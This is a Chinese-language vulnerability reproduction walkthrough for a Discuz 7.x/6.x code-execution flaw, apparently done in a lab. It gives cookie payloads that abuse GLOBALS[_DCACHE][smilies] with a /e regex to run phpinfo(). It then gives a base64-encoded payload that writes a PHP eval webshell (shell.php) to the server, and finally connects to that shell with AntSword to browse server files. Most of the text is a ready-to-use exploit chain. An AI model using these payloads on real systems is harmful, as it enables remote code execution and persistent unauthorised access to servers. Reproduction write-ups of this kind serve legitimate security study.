Discuz 7.x/6.x 全局变量防御绕过导致代码执行,漏洞复现

725 阅读2分钟

1.进入选择帖子的页面

URL:http://x.x.x.x:8080/search.php?searchid=2&orderby=lastpost&ascdesc=desc&searchsubmit=yes 选择帖子的页面

2.通过Burpsuite抓包

在Burpsuite中设置监听127.0.0.1:8080,浏览器中开启代理,挂到Burpsuite

bp开启代理,如图: bp开启代理

浏览器设置代理,如图: 浏览器设置代理

此时就可以开始抓包了! 随便点击一个帖子,进入Burpsuite中查看到此请求包,如图: 抓到的包

3.数据包重放测试

点击Action将刚刚抓到的数据包发送到Repeater模块,如图: 发送到Repeater模块

进入Repeater模块,在Cookie字段中添加如下内容GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();,点击send,几秒后点击response中的render按钮将返回的数据包渲染成页面,发现phpinfo()方法执行成功!如图: phpinfo()方法执行成功

4.构造其他代码执行,并通过AntSword连接

将phpinfo()处的php代码修改为fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777])?>');(此代码的作用是在当前目录下创建一个名为shell.php的文件,文件内容是<?=@eval($_REQUEST[777])?>'),点击send,发现回包中出现错误,服务器将双引号、单引号、尖括号都做了转码,因此我们刚才这种做法是无法将刚刚的php代码执行的,如图: 出现错误

此时想到将此段代码进行base64编码,再通过php中的base64_decode函数解码,打开Decoder模块,将刚刚的代码进行编码,如图: 进行base64编码

将补位的等号删除,不然会影响解码,这时再构造如下函数代码base64_decode(ZnB1dHMoZm9wZW4oInNoZWxsLnBocCIsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKTs),并放到Cookie中,并发送数据包,查看返回结果,返回200 OK,说明代码没有执行错误,如图: 代码没有执行错误

关掉BP的拦截,如图: 关掉BP的拦截

访问代码生成的sell.php文件http://x.x.x.x:8080/shell.php,发现没有错误提示,但是什么也没有加载出来,如图 访问代码生成的sell.php文件

此时打开,antsword工具,添加新连接,并测试连接,发现连接成功,如图: 发现连接成功

添加该连接后,此时就拿到了服务器的文件目录,以及限制权限的shell,还有其他等等功能,如图: 服务器的文件目录

shell

至此,就完成了!